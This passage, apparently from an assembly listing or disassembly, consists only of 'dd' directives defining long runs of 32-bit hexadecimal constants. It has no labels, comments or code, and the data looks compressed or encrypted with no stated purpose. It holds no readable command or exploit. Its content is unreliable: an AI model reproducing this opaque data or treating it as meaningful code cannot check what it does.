		dd 0C0330200h, 30400364h, 0EB8BFE78h, 1C700686h, 8180EADh
		dd 340A09EBh, 0CF7CFE8Dh, 0D0C63C0Ch, 0CA750B03h, 9F78483Eh
		dd 0DA5F2041h, 331C5943h, 57F691FFh, 0C2702C7h,	0A798110h
		dd 4107BC7Ch, 33E60275h, 74032D16h, 170791C3h, 4C0833Bh
		dd 8530C337h, 0E8DB74F6h, 39D7E8FFh, 0FA06F203h, 0D112E857h
		dd 0C9A66AF9h, 692D200Eh, 975EAB72h, 0A428DD26h, 75331761h
		dd 0DFE2C301h, 10042EEAh, 840F4207h, 0C3A6A0EDh, 0A5D5B58h
		dd 54EC8350h, 0FC8B019Fh, 0D440488Dh, 0AA01F3D7h, 57AB44B0h
		dd 6AC55152h, 0C0010660h, 0FF53550Ch, 0C40683D6h, 0C3C08554h
		dd 0F8F19764h, 13BFFCBh, 0F88AFFC5h, 0D6FCBC4Bh, 0D9D52AEBh
		dd 9EF74E4Bh, 0C15BB70Ch, 6D7973E1h, 5322633Fh,	89F4145Ah
		dd 14BE163h, 80B97C6h, 40E9ED12h, 0D2D429ABh, 6E761898h
		dd 0D00A6357h, 920CB801h, 0EB1F290Ch, 0F1FC5240h, 39333107h
		dd 0E145D09h, 0BC401BD0h, 8209C58Bh, 38402FE8h,	0CD35A134h
		dd 0C4400B1Bh, 4E3E01BDh, 5438F6F0h, 1410A30h, 312E4E53h
		dd 0C554482Dh, 90404B50h, 0DA191415h, 0E7A1BD40h, 4DA54E40h
		dd 43806B42h, 0F350B440h, 0C220F340h, 0C8004754h, 11845C40h
		dd 0BE011CD1h, 1E20048h, 0C83DC147h, 1CB9E796h,	0EC4EF761h
		dd 0EBA07042h, 4A2C5A10h, 0B99233h, 0A348001h, 0B2FAE299h
		dd 7013E78Eh, 0E0EF98DBh, 699521C3h, 12E6641Eh,	85E90EF9h
		dd 91D9C734h, 0EAB04197h, 0FC6A9AA5h, 0BE163EFh, 62D3B9E7h
		dd 0AA8DD7F8h, 0CECF740Fh, 19A6ACC8h, 97F3016Bh, 0ED3F6AC0h
		dd 1AC6D491h, 0DC9D5E06h, 1C10707Bh, 825412C7h,	5A9ABDDFh
		dd 58A0A6C3h, 0FF7E50AAh, 859B82DFh, 9BE6DF1Ch,	12A8DB1Eh
		dd 6EB063F3h, 977B5F1Ah, 0DF3493Eh, 0DCE571C0h,	941A00CBh
		dd 0CE66CFCBh, 0D2C6C365h, 44269DF3h, 3DFC9F0h,	9B99981Fh
		dd 2A8F692Ch, 990E9E5Eh, 59AA2460h, 9D06DE10h, 0CACE89F3h
		dd 366D6C28h, 46D8610Dh, 31A650Dh, 6D12DD75h, 340142AAh
		dd 178510C0h, 0DFD4627Bh, 0A506C8A1h, 255ED90Fh, 0CC4098B5h
		dd 0C989DE14h, 2CA6DCFh, 0F05ED967h, 0F437FAA5h, 3A7A27FDh
		dd 74FE7D14h, 35AC7163h, 60EC981Ch, 181A3C8h, 0C0C34B24h
		dd 777B32h, 7D62715Ah, 0DEFC67h, 0EBC9EDFCh, 0FDD8FAF6h
		dd 0EAD3DBE3h, 8FDA9989h, 34EDF80Ch, 0D81D6712h, 0F0E1DCF1h
		dd 0E30D9BFAh, 0FDF8B9D5h, 0F7FBFBD3h, 32E04C6Eh, 0ABEA0EEEh
		dd 0E87DAAC6h, 36CBF7A7h, 2488F23Ch, 0F7F0FB19h, 0EAD5F5E8h
		dd 337C7CBCh, 0E964FAF8h, 2D1CEECFh, 45D1CC5Ch,	5F69E37Bh
		dd 0E99734B8h, 38633A2Dh, 32C7D3Ah, 5A3AFD37h, 189865F8h
		dd 34CA6F54h, 5C270C6Ch, 95574B02h, 0BE541338h,	412DF174h
		dd 585402F0h, 0AB751A46h, 0B184241h, 4A424B91h,	2DE648D0h
		dd 5A4F7495h, 0EB58E677h, 0B443734Ah, 0E1414CB3h, 0B0BAC2AEh
		dd 4665D0C3h, 0B44D290Fh, 0DCAF5353h, 0F7D2F4F4h, 76256CC7h
		dd 67B03233h, 0FA36998Dh, 0D65966D5h, 0D024BA74h, 0DF29830Bh
		dd 0D2259C9Dh, 8908A03h, 0FD6914A1h, 3FE2EC32h,	0FA1ACE75h
		dd 0A5A0AD29h, 0FF911ADFh, 0E8154DE2h, 0F8A59BA1h, 0CCF3B763h
		dd 804755E9h, 0B8D99F56h, 68671FD2h, 67177A34h,	0CDA93468h
		dd 52F46FE8h, 2BF4302Eh, 0CFAAD26Bh, 0D90AED48h, 0CC3DBFD2h
		dd 4E07E32Fh, 3F9135FDh, 0ACFB9770h, 20292805h,	0DDBA1D34h
		dd 1A31B20Bh, 4AECA83Dh, 3C295365h, 0E72F304Dh,	9A3A47D4h
		dd 5F2C3237h, 0FBB57BC4h, 79DFE868h, 83E26B53h,	5381C4D5h
		dd 4A2D6275h, 382E2910h, 9B48775Bh, 33483EF6h, 0B590B94Fh
		dd 0D3E8CAAEh, 52BF0256h, 40AAE89Fh, 17DB728Ah,	0D652E542h
		dd 7D3124FAh, 0A5901B94h, 0B95B7F2Ah, 4A653C94h, 45047ABEh
		dd 9F993238h, 997874D4h, 0FDEB6612h, 4EF78EBAh,	666FD845h
		dd 6AC98ABBh, 9174407Ch, 0D6086A8Ah, 56405353h,	0D714DA39h
		dd 2C48BCE7h, 6EC02177h, 0FEA535B5h, 529098DCh,	0C400242h
		dd 10F38F8h, 20050856h,	97FFDF0h, 1E1FF0Ch, 18094372h
		dd 6273C8CAh, 0A7133762h, 2006207h, 1204350h, 5754454Eh
		dd 474B524Fh, 47CE4E8Ah, 814D41E7h, 9E302E31h, 4E5E4C30h
		dd 0B5206B4h, 3F9F99FEh, 4AF255B5h, 5849777Bh, 331E8370h
		dd 3061312Eh, 32484D51h, 0D2E33058h, 2EEE33B3h,	544D16DEh
		dd 30CD3220h, 885216BFh, 7647388h, 0FF0C183Bh, 5311040Bh
		dd 0D48C1A0Ah, 0CAC8006h, 0E448140h, 464B4320h,	3BAB45AAh
		dd 0A03E0DEFh, 527D4742h, 0F6900241h, 0DC021C68h, 0DF5C02D1h
		dd 8BF0429Fh, 28494847h, 0A64B4Ah, 51504F4Eh, 55545352h
		dd 58575600h, 62615A59h, 65640063h, 69686766h, 6C276B6Ah
		dd 5E0D506Dh, 75F5E071h, 78777602h, 5F307A79h, 2B8A4D7Bh
		dd 53C6482Fh, 81661468h, 8904A7ECh, 40EDE8E6h, 96836FFh
		dd 63D63E12h, 8919F730h, 0A2F00846h, 47614A0h, 0D06B6807h
		dd 0E2D5CA2Bh, 80C154Fh, 97FAE23Fh, 0CDEB3043h,	0DB311B1Fh
		dd 99F0101Fh, 0F89D0FFh, 768B56C3h, 0B9C78A9Dh,	0A4F30010h
		dd 50C0315Eh, 65302CCh,	0C561BFFh, 0D4209E8Bh, 5E5F1FC4h
		dd 60E0835Bh, 710023E8h, 0C24448Bh, 77C588Dh, 53C4383h
		dd 4284781h, 63279310h,	0FFF00E1Ch, 24048B40h, 6714C483h
		dd 33C37C50h, 32FB64D2h, 93228999h, 2725B8C6h, 0FA02CDE0h
		dd 0AFF303DFh, 0EB430374h, 107E90B7h, 58FE8F64h, 60C36109h
		dd 8B2F90BFh, 89C7C71Fh, 0F8217F07h, 3578C781h,	39F9EC4Ah
		dd 474191Fh, 0F8EB09C7h, 5AA7FAA7h, 6F056F9Fh, 0F61FDF52h
		dd 4A9F111Fh, 0FD43C603h, 0A16E1401h, 401C360Ch, 6E58D91Ch
		dd 8E8FE21Eh, 4460E58h,	6CC79ADFh, 45E32824h, 554F93Ch
		dd 4FEA8C9Fh, 5A87184Ah, 0E3EB8020h, 34F64938h,	31EEE0FBh
		dd 0FC95FF50h, 0E003AC7Dh, 0CFC10774h, 0EBC7F80Dh, 7C3B1CF4h
		dd 0E1754D24h, 6607DA48h, 204B0C63h, 0BF831C12h, 89E85414h
		dd 611C7BDDh, 263F08C2h, 0C46100FEh, 0D840F254h, 0A446E8FCh
		dd 7CBBC8F7h, 4F50EF9Eh, 2E115F21h, 0AC99C0C1h,	0B720D384h
		dd 54C244CAh, 7504240Dh, 5B1944E3h, 1FA413E6h, 325C898Ch
		dd 645ACAC3h, 85300EB2h, 0A90F78C4h, 868C1CCh, 5F470BE9h
		dd 7C0534F1h, 3C680840h, 0F631035Fh, 0DEB5660h,	21CEEFC9h
		dd 0FE98F872h, 570E8A01h, 0EEE8E7FFh, 9170886Ch, 6EB057Fh
		dd 22015C90h, 26C24345h, 0A1700903h, 67132B0h, 1382B73h
		dd 0A0029C05h, 28316013h
		dd 0C3606D63h, 0A871EB2Fh, 0A30F843Eh, 23BE4B11h, 1A2A3EB5h
		dd 54951426h, 5319971h,	5227BF3Eh, 0F75A5F14h, 0BF121C4Eh
		dd 10864C7Ah, 0B73F7196h, 8D3B8E2Dh, 0B73E1BD4h, 330260CEh
		dd 1CE983C9h, 80EED9AFh, 5BF42474h, 13007381h, 6AD31EBBh
		dd 7DFCEB83h, 744700E2h, 0E7532538h, 4403952Ch,	9F06587Eh
		dd 872FA13Ah, 76FAFE8h,	0E13C1FC3h, 3587EFF4h, 8938819Bh
		dd 5EFB308Bh, 3D033078h, 7F877B5Bh, 0D46AA0EEh,	137100ABh
		dd 0EA50A8D2h, 9F003EE8h, 3089A636h, 0F86BF741h, 66580078h
		dd 768C95F0h, 0D000F5BAh, 0BF973046h, 607FA74Eh, 587A5810h
		dd 95018B2Ah, 6E306693h, 5ED0C7CFh, 0D33400DBh,	57649D90h
		dd 0BC002C4Eh, 39B5C58Ah, 0EE076DDh, 0A069D358h, 2C4AE481h
		dd 3ED5E0BAh, 31809637h, 0C3697C0h, 0ECF34C3Ah,	0D174EE00h
		dd 0A766B95h, 0B34E630Fh, 4D6D0084h, 0E8E83980h, 0F1F8E890h
		dd 0D36850B1h, 5AE0D30Fh, 6EB02E8Bh, 0D9CB7018h, 0C37439h
		dd 3E1EE3Bh, 0FDB31F02h, 14EC833Ch, 40C3905h, 2355575Eh
		dd 4AEF3A41h, 8D888E86h, 0D8C240BBh, 61443DAAh,	0B97819C8h
		dd 0B080830Eh, 0C0FB3207h, 737E23Ah, 745CE31Fh,	2F594097h
		dd 11179913h, 271F91E0h, 36F9FF40h, 0FC1EB64h, 18BBB510h
		dd 95C5AD80h, 8CA05ACEh, 810349E0h, 0B94FEA3Bh,	86083C6Bh
		dd 0BBCE4400h, 1D1B62C7h, 0B9903964h, 80292082h, 2F493088h
		dd 7A7F37E9h, 54E15C48h, 0A33D008h, 52C035E8h, 0FF886149h
		dd 844403EFh, 0E65811A7h, 652C341Dh, 4B2A0FFFh,	0EDA70E28h
		dd 29FD082Dh, 0FB581C5Ch, 42B1552h, 0D0031831h,	2A70CB90h
		dd 0D1E8D824h, 7C025825h, 29ECCCF6h, 6419CDC6h,	0A18C7C08h
		dd 1A910804h, 0CF5C382Eh, 70698701h, 0C592463h,	651A3CEFh
		dd 0B972629Ah, 0C824905Fh, 4B32004Fh, 1D31670h,	5A027812h
		dd 0E16EBF47h, 4408388h, 0EB8AB85Dh, 11C90B1Ch,	3A00E89Fh
		dd 6048102Bh, 0E5E49A97h, 0D488A454h, 0C769F9E3h, 9A8BCBE4h
		dd 688C452Ah, 8D5EB13h,	14C9107Ah, 90764C8Dh, 0B14E1190h
		dd 9933A434h, 7E100178h, 20AA00Fh, 0ED329518h, 0B714D500h
		dd 0D900D2C9h, 34EF333Eh, 0DC431F25h, 2F5C4530h, 0E8017F61h
		dd 47558562h, 2A221401h, 640350AAh, 28FF01AFh, 1655703h
		dd 2B0394FFh, 0CAFF0166h, 1671503h, 30AE5FFh, 0F2FF0168h
		dd 7F690385h, 342F901h,	0FC01BF6Ah, 5F6B03A1h, 350FE01h
		dd 7101A56Ch, 6EBC441h,	1E100D07h, 5A196D50h, 8FB04308h
		dd 877F64C8h, 94B33430h, 8720CA38h, 0B9377880h,	0FDECE7BFh
		dd 5260C2F7h, 7B08203h,	870C90D8h, 0E8CFCEC1h, 43CE9401h
		dd 2686E0EDh, 1E1DBFF2h, 0F3005D64h, 8AB518CFh,	941B1EC9h
		dd 5B8D4173h, 903CBDAFh, 0E100EC40h, 0C34D543h,	7E00C597h
		dd 0F4F5CB6Ch, 0EFDA40Eh, 0E80BE663h, 9A43E3C0h, 88030C4Fh
		dd 0D4F7F4D5h, 0C0C7A074h, 9170787h, 2193D786h,	0FC190F37h
		dd 4C1DB1AEh, 0C5DA0B5h, 808D9703h, 9212C057h, 89F33C7Bh
		dd 5000513Eh, 3449E19Ah, 9D008577h, 18787DB3h, 1E8EA6B1h
		dd 128743Dh, 0D42C8A1Eh, 0D13CD19Bh, 5063E38Bh,	0A7EC5E68h
		dd 5D66F6C1h, 309DDBE0h, 0B3391EB8h, 26F2D66Fh,	6CEFAF01h
		dd 9F6E5174h, 0A0D4A9E0h, 22902D0Ch, 0D70CCEF9h, 882A8D9Ch
		dd 6017034Ah, 0D0061FB1h, 0BF19E061h, 8083E315h, 3C41EA1Ch
		dd 0F091D7C0h, 2F0EB31Ch, 2A143BDDh, 627400CCh,	36AA3D27h
		dd 1453009Bh, 2C47A345h, 173E7263h, 696A02F5h, 809DBD78h
		dd 2D8E938Ch, 88990CD6h, 2A088615h, 93A37F0h, 0DC118617h
		dd 4890D4B1h, 0EE281C15h, 8E430388h, 0BD0C0483h, 0E19A4830h
		dd 207B5338h, 0C0D59BD8h, 16D2945h, 4FA75FDDh, 144D690h
		dd 42463052h, 64333080h, 0B8052E51h, 4E560926h,	0B1E67543h
		dd 82E8735Eh, 0AA5B57DEh, 7942FB45h, 5D29D2EAh,	44FFA89Ah
		dd 0E9A9858Fh, 226DC2FBh, 39AD743Fh, 7BAF0B0Ch,	0EFA7ADADh
		dd 0CA7A1C8h, 5106462Fh, 0D5736AF7h, 57308A32h,	796E3701h
		dd 0DA4EB746h, 889C77B7h, 2CA5ED6Ah, 1135A8DBh,	0FCF0D4BFh
		dd 31579CF8h, 6F302DABh, 107ED8E5h, 0BE93D8CCh,	20061084h
		dd 4B903332h, 0D53CBF55h, 7D47A22Eh, 208820DAh,	68AE3531h
		dd 45521980h, 333718A4h, 65C57035h, 0B19774F8h,	5034081Eh
		dd 60445730h, 39203735h, 855F2F22h, 7CAFE10h, 3F536425h
		dd 540C26A0h, 0C455059h, 0F150D341h, 0A4F56F1Ah, 8D13F92Eh
		dd 1C0C3A41h, 49648549h, 5621B051h, 1AC2341Ah, 8B55D0h
		dd 0FB40BC5Dh, 81FE3AFEh, 4C429148h, 8AC4BB49h,	6C965736h
		dd 0B040F3B5h, 524F5043h, 2A2520A8h, 5B0E3592h,	555D2C5Eh
		dd 0F90AAC06h, 478509Ah, 592E64B1h, 5AC0D03h, 5BCAFE48h
		dd 0A428BE4Ah, 1C30932Eh, 3111E154h, 0AC704F12h, 4942C05Eh
		dd 7F52414Eh, 0C77C9759h, 7C8B75A5h, 0A6789CDFh, 0F7FBAA48h
		dd 53A50DE5h, 9A5DA5F7h, 0B4CC1D93h, 193469D4h,	0C8EC2A18h
		dd 433821B5h, 0ACE27B61h, 2EB27791h, 2B80C5F7h,	27342430h
		dd 8CA4E07Ch, 930EFF49h, 2039E63Dh, 9FE7AEE6h, 47C548D6h
		dd 3720D808h, 0ED0C5A06h, 2A972502h, 8B561CDBh,	2692A64Ah
		dd 0D6AD7F2Ch, 0CC6E1566h, 304B14Ah, 2FEB789Dh,	6C6D521Bh
		dd 9DC77771h, 2F67C9DEh, 0CC341B3Fh, 0CB1DF5C4h, 0A336197h
		dd 0DC738E64h, 24DDB08h, 112E79BAh, 3AA44838h, 0F9CE396Ch
		dd 48FC92E4h, 8BE22F2Fh, 61A86CD6h, 53834B50h, 0F70274AAh
		dd 0C3D5796Dh, 0BC1E5BB3h, 0D52D8B34h, 2C77DE33h, 4363F1F3h
		dd 136F2C12h, 0CCCCBBCAh, 0D778B583h, 3DFA8339h, 70583F30h
		dd 0A1E12EDh, 387C6825h, 0CCBFC324h, 994A948Eh,	0F26F4124h
		dd 0D42D2520h, 125DBCCBh, 40B32351h, 7AFF442Dh,	1A03A020h
		dd 22544D47h, 2DEDC9DFh, 0FF4342E6h, 1A871C44h,	9A81D0A5h
		dd 144FFB10h, 0B243BC5Bh, 0AE1B573Ah, 0B8DD265Bh, 18A9E01Eh
		dd 0ACB4C12h, 294F0C67h, 0FCF4AD69h, 0DECF09B7h, 9C0DEDFCh
		dd 54262A22h, 0E1B455FAh, 5FA26295h, 564921DBh,	9557A72Eh
		dd 0BC661228h, 736DAE25h, 3CFC2EE1h, 8F3AAF4h, 129C1FD5h
		dd 4D91033Ch, 12613E4Ch, 44414510h, 34C1FE09h, 5BCFEF4Ch
		dd 0D108FA09h, 3C4A4C8Eh, 6F132F52h, 87255539h,	59774F42h
		dd 2BD31B89h, 4D2D3170h, 41461120h, 1D200342h, 0B944524Eh
		dd 30223D8Eh, 943E49h, 205234CAh, 57204483h, 48C6A749h
		dd 7FA78338h, 0A0436D3Ah, 48E57AC2h, 0DD0B80A2h, 0F227A9E9h
		dd 0A209791h, 0B3E73046h, 47E14C41h, 7216934Eh,	3E9351BAh
		dd 7AAA538Fh, 0E42F365h, 0D89C4693h, 33534C40h,	33794150h
		dd 52487114h, 47C2A92Bh, 44154E4Ch, 8CFEE3A9h, 9746452Ah
		dd 84897352h, 4DB26150h, 9521857Ah, 6E7C4165h, 9B1E32Eh
		dd 914D50B9h, 251F4108h, 6414B932h, 34C9062Fh, 0B35088Eh
		dd 0BA063A2Ah, 83C6B1Fh, 0FCA42A7Dh, 332DA0DBh,	55BBEF31h
		dd 0A0E32B2h, 0A768884Dh, 68B04C52h, 53AF512Fh,	3916B8F6h
		dd 43052673h, 0A93D2F3Bh, 732B200Eh, 0F4C24A19h, 0ABB758D5h
		dd 0D6B42D24h, 0E08DEC8Eh, 0FC6E3234h, 0FB53AF4Ah, 5229F233h
		dd 0C2FD084Ch, 30332136h, 14CE07ABh, 33A9BDDCh,	30B2D508h
		dd 0C80A476Bh, 1D69F9E4h, 0F90834A4h, 0C0D43F46h, 0D9A90A13h
		dd 24610C65h, 77868A0Dh, 4C1D33EDh, 0F69EF0Ch, 1E3AEB8Bh
		dd 12D616CEh, 8DAA5475h
		dd 0F4EC2B18h, 7371698Ah, 51A769ECh, 0B69CE8BBh, 0A13721Eh
		dd 0F8876552h, 0E2591B4Bh, 20D15548h, 715663AEh, 0E8D4970Ah
		dd 0AC2A63D9h, 98B9356h, 4D24AB4Ah, 4144F3AEh, 47DAFEFEh
		dd 90762A2h, 0EB58774Eh, 4434B83Ah, 0D2DCE596h,	88DFBB02h
		dd 0D2724329h, 0BB8F1E75h, 7B5752D0h, 0CA3A72D0h, 7AC0FB55h
		dd 0AADF4033h, 96D07488h, 4842AE86h, 43B3AAA4h,	0CAD3BF9h
		dd 1C9245B2h, 0A2AC7F7h, 59B72928h, 0FC24A750h,	0AA4CA0CBh
		dd 0ABEE16Eh, 0B640BCC2h, 3A03DABBh, 6434073h, 0D611F468h
		dd 6452264Fh, 0B6AFCE34h, 0E954D068h, 0BFAE16Bh, 0A32C4255h
		dd 0FBAE4150h, 0AF6CF402h, 0C9AB52FEh, 7768FBDEh, 515C2C12h
		dd 20240A4Ch, 0C9F9BD6Ah, 0D9BA2C13h, 46207D7Ch, 0BC75F464h
		dd 468A8BFAh, 3DEEF4BCh, 0E6E93F77h, 31635A7Bh,	0E9432D1Bh
		dd 8BA32F68h, 0DC7FEE4Eh, 92DF5227h, 75796A31h,	0B353194Ah
		dd 0B594A136h, 0E2A7C3F2h, 3C2E738Ah, 0DADF4DFAh, 0DA207B77h
		dd 2C6ADB4Fh, 0FA94997Ch, 7421F437h, 0EFCD6346h, 0BD0546EEh
		dd 9934D079h, 800B838Dh, 0E2482BE4h, 29FD0B57h,	528EDFA8h
		dd 2F705DFEh, 73C59CDEh, 8090D78Bh, 7C7329ABh, 0CA24AB2Ch
		dd 9870B7BEh, 23903FEBh, 42425340h, 406AE43Fh, 0D464FA4Ah
		dd 792E4149h, 307194D0h, 2AFB4EBEh, 0C965D380h,	0BC545E28h
		dd 478A6D0Fh, 5C34E937h, 3D6C4Ah, 0AAF8A93Bh, 4EBBAE5Dh
		dd 5D3C7AEBh, 0AC3BEDAAh, 8841AF78h, 2E809C3Fh,	7AC9DCA5h
		dd 0A6C3D29Fh, 49F24F51h, 696E3C96h, 21659EBEh,	0A9571FAAh
		dd 436E5274h, 64257B85h, 5DE69F31h, 4D997AB0h, 4A4415DAh
		dd 220BE842h, 85EFB8C9h, 5C5AC948h, 0FD9B544Bh,	2E5403D9h
		dd 538E97Fh, 0A6B0412h,	0EE977801h, 2B09080Dh, 147AB367h
		dd 65480DC4h, 1BA2F0CEh, 53455B20h, 75D5743h, 7700265h
		dd 0CA314614h, 22A5307h, 327D0D71h, 0B82207A5h,	0F6330D89h
		dd 2CA0794h, 349F0D73h,	24C0769h, 350DA974h, 0CA0794F6h
		dd 9F0D7502h, 4C076936h, 0DA97602h, 794F637h, 0D7702CAh
		dd 769389Fh, 0A978024Ch, 94F6390Dh, 7902CA07h, 0EA30C7ADh
		dd 7A02EC07h, 19FD14A4h, 187B19E2h, 0CEF8C32h, 266089C0h
		dd 187E240Fh, 44D3151h,	2321039Ch, 0D9043294h, 39C24003h
		dd 9C044D33h, 94232303h, 3D90434h, 3539C224h, 39C044Dh
		dd 36942325h, 5E03D904h, 4D3739C2h, 26039C04h, 4389423h
		dd 0C22A03D9h, 44D3939h, 2328039Ch, 0D9043094h,	39C22903h
		dd 2D0994BDh, 145F8A0Bh, 3D48BBC4h, 9282BC4h, 0A36C5B89h
		dd 0B2075D2Bh, 0F84E5102h, 1890B86h, 43942757h,	4501440Bh
		dd 75CF5199h, 0BA528914h, 240B1A20h, 0CDD5401h,	1120B0Dh
		dd 86BC4E59h, 5501890Bh, 0B432037h, 0CA490144h,	520B6909h
		dd 94F0126h, 970B6F52h,	70A248ACh, 1890B94h, 0A9DC49DBh
		dd 148FF16h, 6721DD9Ch,	41E6087Dh, 2D5A9D09h, 2320785h
		dd 86D46E53h, 4401890Bh, 0B640994h, 46014CA4h, 0BA56609h
		dd 47650122h, 0B296709h, 29480113h, 480B6809h, 94A9901h
		dd 440B4A6Ah, 9CA4B01h,	26520B6Bh, 52094C01h, 1910B6Ch
		dd 3B09BA32h, 583A0B91h, 2789DE14h, 16852218h, 3410745Ah
		dd 58014B0Bh, 0B1A4C3Ah, 9430126h, 910B6352h, 9C562C01h
		dd 1680BE8h, 59394297h,	4E14B1EEh, 0B946E12h, 944D0189h
		dd 0A40B6D09h, 9BC014Ch, 3F32952Ch, 12BE1431h, 0A3E312Eh
		dd 2F46BF22h, 0C83F2E11h, 8E5C91DCh, 11C8117Ch,	54435B80h
		dd 0AC5D4C52h, 0FAF0AC07h, 4E493E57h, 844F0757h, 290434B6h
		dd 2899A107h, 0D2172C59h, 0E505250h, 2CA078Ch, 16311491h
		dd 0B2F64B4Ch, 0FB586C07h, 0AEFC68BFh, 3EF19B07h, 0FA1FEACFh
		dd 412C07ABh, 734792CCh, 759FB55h, 44F4EC19h, 3AACA245h
		dd 0FB41CC07h, 0EDFF4EF1h, 0C1660775h, 0F5FFFB6Bh, 41990765h
		dd 3E454CF4h, 7D65446h,	749F2D59h, 260729B7h, 521A7D04h
		dd 32504847h, 0C62DCC07h, 0A0574FE2h, 2CA078Ch,	2A3D1490h
		dd 78CDC4Dh, 7CA7589Ah,	5C8EF03Bh, 8BE5816Ah, 606D2E88h
		dd 6B28BC73h, 16CB59B9h, 9C605C60h, 615178E7h, 78B76428h
		dd 770E6251h, 0E7631085h, 0E645178h, 65108577h,	665178E7h
		dd 1085770Eh, 5178E767h, 85770E68h, 78E76910h, 0A8336E51h
		dd 0D144E69Dh, 0AAB95461h, 0A42D5482h, 3A082003h, 0A3AF5D64h
		dd 8AAFD3CCh, 67FF4A7Ch, 4328923Ch, 0ADA3D157h,	0A5252453h
		dd 1C6429CEh, 784AE2AAh, 123F7C9Fh, 44D4EE29h, 79521832h
		dd 0A6132342h, 544FC385h, 0CBD5AA84h, 2F3A1CEFh, 2EBD64FBh
		dd 0E43F9FBFh, 5C485809h, 2E6525ACh, 4612A6AFh,	2C3A8501h
		dd 2121183Bh, 0C80F40F9h, 25437E24h, 901F5EF2h,	872AFC26h
		dd 213F2DE4h, 0F2FF92Bh, 437E5CC8h, 1F3FF23Dh, 60FC2790h
		dd 3F7EE487h, 2EF92021h, 702DEC2Bh, 1D7AC891h, 0FC219018h
		dd 24E48740h, 0F925213Fh, 26C80F5Eh, 0F22A437Eh, 2B901F2Dh
		dd 0E4872FFCh, 3D213F5Ch, 0C80F3FF9h, 60437E27h, 901F7EF2h
		dd 382EFC20h, 85706469h, 213F2CE4h, 0F40F921h, 437E24C8h
		dd 1F5EF225h, 2AFC2690h, 3F2DE487h, 2FF92B21h, 7E5CC80Fh
		dd 3FF23D43h, 0FC27901Fh, 7EE48760h, 0F820213Fh, 0D8B7682Eh
		dd 72A99965h, 7618B088h, 25F22443h, 0BA2E961Fh,	6046C88Ah
		dd 2EEC1890h, 40996C70h, 90181DF2h, 8725FC24h, 1F782EE2h
		dd 24FC2110h, 3F25E487h, 9510EE4Eh, 8721B818h, 213F24E4h
		dd 4320F025h, 11FF444Eh, 0BAF41825h, 0AD2310B4h, 9011A14h
		dd 0E1BC725Dh, 4F81184Ah, 0E524550h, 6250AF97h,	0A16AB918h
		dd 63123E0Eh, 4F2B93EEh, 50BB475Bh, 55141856h, 2A84853h
		dd 0C0DAD78Ah, 70651885h, 393CC7AFh, 3549B3Eh, 6CA5930h
		dd 8454184Ch, 17D4B730h, 2E703021h, 4D4F2343h, 24095DCBh
		dd 9E385E54h, 3A14696Bh, 13EF418h, 4C69AE4Fh, 0B836752Fh
		dd 2C1AED1Eh, 9E1AAB4Ah, 0DE48DC54h, 7F252C85h,	30355E32h
		dd 53505B04h, 8A46AB83h, 853CBE5Dh, 0BF75C7A4h,	5D63DFBEh
		dd 5244EF6Fh, 69A4D69Dh, 275647D7h, 0DB34A7A8h,	7663DA15h
		dd 9F42A87Ch, 88C82E5Eh, 23143A79h, 0DA8C2F0Bh,	30330E60h
		dd 1C9EF032h, 3DDA7F36h, 0D9703D98h, 2E184C10h,	13D72785h
		dd 8304372h, 9AF57058h,	42594964h, 9C29D284h, 2892BC22h
		dd 0F4A25994h, 0CFD78443h, 5A8C3A73h, 0D1404011h, 74F89238h
		dd 0E54BA443h, 0AC67C234h, 48509CA4h, 2435A554h, 88455298h
		dd 4DD26024h, 0D0602484h, 4C2B5556h, 0D525404Eh, 4C20B0AEh
		dd 392E302Fh, 889936E4h, 2D767281h, 97542055h, 2B9C73F9h
		dd 5F480B24h, 7B7D21E2h, 4D3DC9B8h, 15692CA3h, 47F5694Dh
		dd 6A3821D4h, 22D25BE7h, 3EED2966h, 9F0BDE11h, 3F2D21FEh
		dd 97953457h, 14FD3443h, 0D4343FF4h, 0B935428Bh, 83940C4Bh
		dd 0D3382AE4h, 96A4D9AEh, 8DEA6E0Eh, 94AC3A5Ah,	535FAF92h
		dd 2F424B81h, 0AC3E6573h, 4C43BA58h, 2395BE93h,	539614A9h
		dd 4CFAE24h, 1BF94E59h,	74AB4B2Ch, 93302EC0h, 3FCC99FEh
		dd 9D1E9E36h, 0F2243C28h, 5A2E81Ch, 0D977EB3Ah,	0A676A5DAh
		dd 7845DF49h, 0B21B409Ah, 0EBE95701h, 2E29E84Dh, 0C9504AE1h
		dd 19E77F65h, 53213CA3h, 5E684EA1h, 9D74C424h, 48C828FCh
		dd 73F177DAh, 5DDA2848h, 2B218D45h, 4D977D2h, 87DE9BC8h
		dd 5253A128h, 569F2B34h
		dd 3744D9A0h, 9428C92Ah, 0C0299528h, 236047DDh,	4F2E5129h
		dd 16FE4B28h, 0A42CF368h, 9138A2EBh, 38E8B54Bh,	706374E0h
		dd 93341EBFh, 0ECDE525Eh, 933436D2h, 3817D266h,	67794913h
		dd 8A2E50FCh, 0C82C5B7Dh, 3344F9A0h, 0D9AEB477h, 0FB0249EFh
		dd 4A2ECED4h, 7E48B7F8h, 94BC0AEDh, 0A6A7E9B1h,	922E9C7Fh
		dd 0B75B8678h, 0AC713D8Bh, 4F37552h, 2CF9656Ah,	0AAA5BF32h
		dd 69A94A6h, 7140D17Dh,	4DD93E53h, 185657E5h, 75C9F70h
		dd 4455E24Fh, 0EDF17550h, 9C4F55EBh, 0D8234023h, 0B597762Fh
		dd 0A1CF2D8Bh, 0A774305Dh, 97F1A0CBh, 57DBB37Ch, 114ED626h
		dd 4BAD8024h, 0ED4791DCh, 3B96044Eh, 3C026A0Dh,	96801FDAh
		dd 498C7B46h, 0B4A5592Ah, 4C262996h, 0A8931F7Eh, 10A34F8Ah
		dd 28CCC658h, 2F7B4B29h, 87563891h, 0C07F6F65h,	4F533D78h
		dd 451C4B43h, 52DC5F54h, 2C48F37Ch, 993DB804h, 8DD52752h
		dd 62F5F08Bh, 29DB233Bh, 0E2D4BBFCh, 134F799Eh,	9C48ED98h
		dd 9C3E795Ah, 6E6F1330h, 4B713B6Bh, 7F9F1DACh, 9B5769A7h
		dd 0B8E2D492h, 0C41CEE45h, 68D4B561h, 820446EBh, 0F4645F6Fh
		dd 26FEB9D2h, 5B4E2903h, 5264B5A0h, 3434052Dh, 3A090A74h
		dd 0CE5DE505h, 64BA5BD0h, 200C286Ch, 390559BFh,	0A51464ABh
		dd 14A263D1h, 90282E53h, 536D9D81h, 7D9FB436h, 0D2747B1Ch
		dd 49441C00h, 384C5053h, 0FB4B5941h, 8663164h, 0D85CBD03h
		dd 0E56F5651h, 5957DAB4h, 0DAF4ADABh, 781C6B9Ah, 73608155h
